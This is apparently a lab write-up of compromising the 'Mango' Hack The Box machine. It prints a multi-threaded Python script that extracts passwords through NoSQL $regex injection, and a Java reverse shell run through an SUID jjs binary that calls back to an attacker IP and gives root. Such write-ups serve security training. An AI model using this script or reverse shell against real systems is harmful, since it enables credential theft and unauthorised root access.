Summary

  • Mango is a Linux box where both HTTP and HTTPS websites are hosted.
  • While inspecting the site’s SSL certificate, we notice another virtual host.
  • That vhost had a login page on HTTP which happened to vulnerable to NoSQL injection.
  • After logging in with an Authentication Bypass, we found the site still under construction.
  • Without any functionality to abuse, we turned to NoSQL’s built-in regex capability to enumerate the usernames and passwords on the web app in hopes of reusing them with SSH.
  • Since retrieving passwords manually was time consuming, we wrote a Python script to automate the process and further developed it for multi-threading support (it ran 9X faster.)
  • We were able to get credentials for two usernames: admin and mango. The mango user had SSH access which we leveraged to access the box.
  • From inside, we could pivot to the admin user using su because had the same password.
  • While trying to escalate our privileges, we found an SUID binary called jjs which we exploited with the help of GTFOBins -and some minor tweaks- to become root.

NMAP

22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_http-server-header: Apache/2.4.29 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time

From the nmap port scan, we see SSH, HTTP & HTTPS ports open.

But we also notice that the ssl-cert script shows a virtual host: staging-order.mango.htb

Checking the Websites

To handle Virtual Host Routing, We add an entry in our /etc/hosts file for both the TLD mango.htb and the staging-order.mango.htb subdomain.

visting mango.htb only gets us a valid page on the HTTPS site. The HTTP one gives back a 403 forbidden response as we’ve seen from nmap’s output.

The search function suggests testing for SQL Injection. To do so, we intercept the request and save it to a file.

then pass it to sqlmap using the -r flag as well as the --force-ssl flag to target HTTPS.

Doing this doesn’t yield back any results :/

Afterward, we attempted to abuse any of the available functions in the analytics.php page. (like checking for SSRF)

but without no luck there as well.

Moving on, we look at the HTTP version of the staging-order.mango.htb virtual host, we found a login page.

After intercepting the request, we attempted injecting common SQL Injection payloads but they didn’t work.

So intead, we tried NoSQL methods for bypassing authentication like using the not equal ($ne) directive.

By setting both the username and password to values we’re sure don’t exist in the database (ex: test/test), the check should evaluate to true and let us log in.

It worked! and we got a 302 response. we followed the redirection to get this page:

we get a potential username here: admin

other than that, there was nothing here to played with.

Exploiting NoSQL Injection to Get Credentials

Still, having a NoSQL Injection means we can abuse the $regex directive to enumerate any usernames/passwords.

Our plan here is to obtain creds and try them with SSH to exploit any reuse.

To check the first character of the admin user’s password, we can supply a regular expression like below:

username=admin&password[$regex]=^a

The above regex would be evaluated to see if the password starts with the letter “a” or not.

  • if the pattern matches, we would get the 302 redirect and get authenticated.
  • if not, we should get a different response.

Let’s give it a try using Burp

we get a 200 OK. this means that the password doesn’t start with the letter “a”.

But, when trying different letters…

the response is a 302 redirect when we put the first letter as “t”. which means it’s the first character of the admin user’s password.

Doing this process manually can take a lot of time. That’s especially true with passwords since we have to test all uppercase/lowercase letters in addition to all digits and symbols.

That’s why, we wrote a Python script to automate the process and even used multi-threading to make it go faster.

Note:

  • For brevity, the code below is mainly for obtaining passwords. But the same concept applies to enumerating usernames (the code for that is commented out).
  • I put comments to explain the script at every point. you’re advised to read those to figure out the logic.
  • Lastly, I divided the script into three parts to make it easier to grasp.

The 1st Part: Importing the required libraries and the “test” function

from threading import Thread
import string # includes the needed character sets
import requests

# a function that takes in a character as input and tests if the password starts with it or not
def test(character, username):
	# the password variable is defined globally to be accessible everywhere and to be populated
	global password
	# the regex payload, notice that we keep appending the character in question to the end of the already discovered part of the password
	payload = f"^{password}{character}"
	url = 'http://staging-order.mango.htb/'
	# filling out the post data with the supplied username and character
	data = {
		'username': username,
		'password[$regex]': payload,
		'login': 'login'
	}
	"""
	# here's the post data if you want to enumerate usernames
	data = {
		'username[$regex]': payload,
		'password[$ne]': '',
		'login': 'login'
	}
	"""
	# special print function for a cool effect
	print ("\r" + "[*] the password for " + username + " is... " + password + str(character), flush=False, end='')
	# sending the request without following redirects
	response = requests.post (url=url, data=data, allow_redirects=False)
	# return true if the status code is the 302 redirection
	if response.status_code == 302:
		return True

The 2nd Part: Creating the worker functions (7 total) to evenly distribute and iterate over all characters in parallel

# 1st half of the lowercase alphabet (13 total)
def alpha_L1():
	# the catch variable represents a valid character found, this is used for stopping all workers when a match is found instead of continuing to search
	global catch
	for character in string.ascii_letters[0:13]:
		# if the catch variable isn't empty (i.e another worker caught the right character), be a smart worker and stop searching ;]
		if catch != '':
			return
		# if the test function returns true, set the catch variable and stop searching :D
		if test(character, target_user):
			catch = character
			break

# 2nd half of the lowercase alphabet (13 total)
def alpha_L2():
	global catch
	for character in string.ascii_letters[13:26]:
		if catch != '':
			return
		if test(character, target_user):
			catch = character
			break

# 1st half of the uppercase alphabet (13 total)
def alpha_U1():
	global catch
	for character in string.ascii_letters[26:39]:
		if catch != '':
			return			
		if test(character, target_user):
			catch = character
			break

# 2nd half of the uppercase alphabet (13 total)
def alpha_U2():
	global catch
	for character in string.ascii_letters[39:53]:
		if catch != '':
			return			
		if test(character, target_user):
			catch = character
			break

# numbers (10 total)
def numbers():
	global catch
	for digit in string.digits:
		if catch != '':
			return
		if test(digit, target_user):
			catch = digit
			break

# 1st half of symbols (16 total)
def symbols_1():
	global catch
	for symbol in string.punctuation[0:16]:
		if catch != '':
			return
		# these symbols are escaped because they have connotations in the regular expressions language
		if symbol in ['^', '.', '*', '+', '?', '|', '$', '\\']:
			symbol = f"\\{symbol}"
		if test(symbol, target_user):
			catch = symbol
			break

# 2nd half of symbols (16 total)
def symbols_2():
	global catch
	for symbol in string.punctuation[16:33]:
		if catch != '':
			return
		if symbol in ['^', '.', '*', '+', '?', '|', '$', '\\']:
			symbol = f"\\{symbol}"	
		if test(symbol, target_user):
			catch = symbol
			break

The 3rd Part: Starting the workers and letting them retrieve the passwords for both usernames

# we target both the admin and the mango users, we enumerated the latter using the alternative code above in the test function
target_users = ["admin", "mango"]

# foreach user, start with an empty password/catch variables
for target_user in target_users:
	password = ""
	catch = ""

	# add each of worker functions to the threads array
	while True:
		threads = []
		t = Thread(target = alpha_L1)
		threads.append(t)
		t = Thread(target = alpha_L2)
		threads.append(t)
		t = Thread(target = alpha_U1)
		threads.append(t)
		t = Thread(target = alpha_U2)
		threads.append(t)	
		t = Thread(target = numbers)
		threads.append(t)	
		t = Thread(target = symbols_1)
		threads.append(t)
		t = Thread(target = symbols_2)
		threads.append(t)

		# start the workers
		for worker in threads:
			worker.start()

		# wait for workers to finish
		for worker in threads:
			worker.join()

		# if there was no catch, break because that means we have the complete password
		if catch == "":
			break
		# if there was a catch, append it to the password and clear out the variable
		password += catch
		catch = ""

	# print out the password at the end for each user
	print ("\r" + "[+] the password for " + target_user + ": " + password.ljust(25))

Here’s what the script looks like during run-time:

pretty cool, huh? :]

to compare its performance, we prepended the time command to both scripts.

This version finished enumerating both passwords in 1 minute and 5 seconds.

which is a huge improvement from the single-threaded version which needed almost 9 minutes!

Gaining Foothold and Pivoting

Moving on, when we tried to log in as admin, it didn’t work. The mango user had access though.

From inside, we could pivot to the admin user with su since he was using the same password we found.

SUID Privilege Escalation

Looking for easy setuid wins, We ran the find command below:

find / -perm -u=s -ls 2>/dev/null

and found a strange binary called jjs with the SUID bit set:

We looked it up and found the below description on Oracle Docs. It was exactly what we needed *evil smile*

To check for ways to exploit it, we searched GTFOBins and found the below:

Seems pretty straightforward. A standard Java reverse shell payload.

An Important Note: to inherit the permissions from the jjs binary and get code execution as root, we have to modify the payload on the 6th line and call bash with the -p flag instead.

export RHOST=10.10.16.9
export RPORT=9000
echo 'var host=Java.type("java.lang.System").getenv("RHOST");
var port=Java.type("java.lang.System").getenv("RPORT");
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-p").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

we start our ncat listener and set the required environment variables over on the victim machine before executing the shell.

from the effective UID euid=0(root), we’re now acting as root :)